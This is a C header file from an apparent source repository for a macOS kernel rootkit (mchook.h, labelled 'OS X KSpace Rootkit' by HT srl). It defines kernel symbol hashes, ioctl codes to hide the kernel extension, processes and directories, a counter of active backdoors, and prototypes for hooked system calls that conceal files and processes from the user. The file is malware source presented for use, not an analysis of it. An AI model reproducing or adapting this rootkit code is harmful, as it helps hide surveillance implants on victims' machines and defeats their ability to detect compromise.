hackedteam/driver-macos

View on GitHub
mchook.h

Summary

Maintainability
Test Coverage
/*
 * McHook, mchook.h
 *  OS X KSpace Rootkit
 * 
 * Created by revenge on 20/03/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#include <sys/ucred.h>
#include <sys/kernel.h>
#include <sys/kauth.h>
#include <sys/lock.h>

#include "structures.h"
#include "proc_internal.h"
#include "task_internal.h"

#pragma mark -
#pragma mark Symbols Hash
#pragma mark -

#define KMOD_HASH               0xdd2c36d6 // _kmod
#define NSYSENT_HASH            0xb366074d // _nsysent
#define TASKS_HASH              0xdbb44cef // _tasks
#define ALLPROC_HASH            0x3fd3c678 // _allproc
#define TASKS_COUNT_HASH        0xa3f77e7f // _tasks_count
#define NPROCS_HASH             0xa77ea22e // _nprocs
#define TASKS_THREADS_LOCK_HASH 0xd94f2751 // _tasks_threads_locks
#define PROC_LOCK_HASH          0x44c085d5 // _proc_lock
#define PROC_UNLOCK_HASH        0xf46ca50e // _proc_unlock
#define PROC_LIST_LOCK_HASH     0x9129f0e2 // _proc_list_lock
#define PROC_LIST_UNLOCK_HASH   0x5337599b // _proc_list_unlock
#define KEXT_LOOKUP_WITH_TAG    0xcf7000a8 // __ZN6OSKext21lookupKextWithLoadTagEj
#define IO_RECURSIVE_LOCK       0x1f7127e3 // _IORecursiveLockLock

#pragma mark -
#pragma mark IOCTL Codes
#pragma mark -

#define MCHOOK_MAGIC      31338

// Used for the uspace<->kspace initialization
#define MCHOOK_INIT         _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_SIZE]) // IN:username
// Show kext from kextstat -- DEBUG
#define MCHOOK_SHOWK        _IO( MCHOOK_MAGIC, 8349871)
// Hide kext from kextstat
#define MCHOOK_HIDEK        _IO( MCHOOK_MAGIC, 4975738)
// Hide given pid
#define MCHOOK_HIDEP        _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_SIZE]) // IN:username
// Hide given dir/file name
#define MCHOOK_HIDED        _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIRNAME_SIZE]) // IN:dir
// Show Process -- DEBUG
#define MCHOOK_SHOWP        _IO( MCHOOK_MAGIC, 6839840)
// Unregister userspace component
#define MCHOOK_UNREGISTER   _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_SIZE]) // IN:username
// Returns the number of active backdoors
#define MCHOOK_GET_ACTIVES  _IOR(MCHOOK_MAGIC, 7489827, int) // OUT: num of bd
// Pass symbols resolved from uspace to kspace (not exported symbol snow)
//#define MCHOOK_SOLVE_SYM    _IOW(MCHOOK_MAGIC, 6483647, struct symbol) // IN:symbol_32_t
#define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32)
#define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64)
// Tell the kext to find sysent
#define MCHOOK_FIND_SYS     _IOW(MCHOOK_MAGIC, 4548874, struct os_version) // IN:os_version_t

#pragma mark -
#pragma mark Kernel symbols
#pragma mark -

#define    P_WEXIT        0x00002000

#define         MACRO_BEGIN     do {
#define         MACRO_END       } while (FALSE)
  
#define queue_enter(head, elt, type, field)                      \
MACRO_BEGIN                                                      \
         register queue_entry_t __prev;                          \
                                                                 \
         __prev = (head)->prev;                                  \
         if ((head) == __prev) {                                 \
                 (head)->next = (queue_entry_t) (elt);           \
         }                                                       \
         else {                                                  \
                 ((type)__prev)->field.next = (queue_entry_t)(elt);\
         }                                                       \
         (elt)->field.prev = __prev;                             \
         (elt)->field.next = head;                               \
         (head)->prev = (queue_entry_t) elt;                     \
MACRO_END

#define queue_remove(head, elt, type, field)                     \
MACRO_BEGIN                                                      \
         register queue_entry_t  __next, __prev;                 \
                                                                 \
         __next = (elt)->field.next;                             \
         __prev = (elt)->field.prev;                             \
                                                                 \
         if ((head) == __next)                                   \
                 (head)->prev = __prev;                          \
         else                                                    \
                 ((type)__next)->field.prev = __prev;            \
                                                                 \
         if ((head) == __prev)                                   \
                 (head)->next = __next;                          \
         else                                                    \
                 ((type)__prev)->field.next = __next;            \
                                                                 \
         (elt)->field.next = NULL;                               \
         (elt)->field.prev = NULL;                               \
MACRO_END


#ifdef __LP64__
#define OFFT_KEXT_KMOD  0x9
#define OFFT_KEXT_ARRAY 0x18
#define OFFT_KEXT_COUNT 0x20
#define OFFT_KMOD_NAME  0x10
#else
#define OFFT_KEXT_KMOD  0xa
#define OFFT_KEXT_ARRAY 0x10
#define OFFT_KEXT_COUNT 0x14
#define OFFT_KMOD_NAME  0xc
#endif

#pragma mark -
#pragma mark Extern Symbols
#pragma mark -

static struct proclist *i_allproc       = NULL;
static queue_head_t *i_tasks            = NULL;
static int *i_nsysent                   = NULL;
static kmod_info_t *i_kmod              = NULL;
static int *i_tasks_count               = NULL;
static int *i_nprocs                    = NULL;
static lck_mtx_t *i_tasks_threads_lock  = NULL;
static int *kext_lookup_with_tag        = NULL;
static int *io_recursive_log            = NULL;

static char *_sLoadedKext                = NULL;
//decl_lck_mtx_data(static, *i_tasks_threads_lock);

static struct sysent *_sysent;

void (*i_proc_lock)       (struct proc *) = NULL;
void (*i_proc_unlock)     (struct proc *) = NULL;
void (*i_proc_list_lock)  (void)          = NULL;
void (*i_proc_list_unlock)(void)          = NULL;

#pragma mark -
#pragma mark Hooking Flags
#pragma mark -

// Flags used for determining if a syscall has been hooked
static int fl_getdire           = 0;
static int fl_getdire64         = 0;
static int fl_getdirentriesattr = 0;
//static int fl_kill              = 0;
//static int fl_shutdown          = 0;
//static int fl_reboot            = 0;


#pragma mark -
#pragma mark KEXT Prototypes
#pragma mark -

// IOCTL
static int cdev_open  (dev_t, int, int, struct proc *);
static int cdev_close (dev_t, int, int, struct proc *);
static int cdev_ioctl (dev_t, u_long, caddr_t, int, struct proc *);
// RK
#ifdef DEBUG
void getAttributesForBitFields    (attr_list_t al);
#endif
int     check_for_process_exclusions (pid_t pid);
void    dealloc_meh                  (char *, pid_t);
void    place_hooks                  ();
void    remove_hooks                 ();
void    add_dir_to_hide              (char *, pid_t);
void    hide_kext_leopard            ();
void    hide_kext_osarray            ();
int     hide_proc                    (proc_t, char *, int);
int     unhide_proc                  (proc_t, int);
int     unhide_all_procs             ();
int     get_active_bd_index          (char *, pid_t);
int     get_bd_index                 (char *, pid_t);
int     check_symbols_integrity      ();
Boolean backdoor_init                (char *, proc_t);
int     remove_dev_entry             ();
static struct sysent *find_sysent (os_version_t *);

#pragma mark -
#pragma mark Hooked Syscall Prototypes
#pragma mark -
#if 0
int  hook_read                      (struct proc *,
                                     struct mk_read_args *,
                                     int *);
#endif

int  hook_kill                      (struct proc *,
                                     struct mk_kill_args *,
                                     int *);
int  hook_getdirentries             (struct proc *,
                                     struct mk_getdirentries_args *,
                                     int *);
int  hook_getdirentries64           (struct proc *,
                                     struct mk_getdirentries64_args *,
                                     int *);
int hook_getdirentriesattr          (struct proc *,
                                     struct mk_getdirentriesattr_args *uap,
                                     int *retval);
/*
int hook_shutdown                   (struct proc *,
                                     struct mk_shutdown_args *,
                                     int *);
int hook_reboot                     (struct proc *,
                                     struct mk_reboot_args *,
                                     int *);
*/
typedef int kill_func_t             (struct proc *,
                                     struct mk_kill_args *,
                                     int *);
typedef int    read_func_t             (struct proc *,
                                     struct mk_read_args *,
                                     int *);
typedef int    getdirentries_func_t    (struct proc *,
                                     struct mk_getdirentries_args *,
                                     int *);
typedef int    getdirentries64_func_t  (struct proc *,
                                     struct mk_getdirentries64_args *,
                                     int *);
typedef int getattrlist_func_t      (struct proc *,
                                     struct mk_getattrlist_args *,
                                     int *);
typedef int getdirentriesattr_func_t(struct proc *,
                                     struct mk_getdirentriesattr_args *,
                                     int *);
/*
typedef int shutdown_func_t         (struct proc *,
                                     struct mk_shutdown_args *,
                                     int *);
typedef int reboot_func_t           (struct proc *,
                                     struct mk_reboot_args *,
                                     int *);
*/
//static read_func_t              *real_read;
//static kill_func_t              *real_kill;
static getdirentries_func_t     *real_getdirentries;
static getdirentries64_func_t   *real_getdirentries64;
static getdirentriesattr_func_t *real_getdirentriesattr;
//static shutdown_func_t          *real_shutdown;
//static reboot_func_t            *real_reboot;

int is_leopard();
int is_snow_leopard();
int is_lion();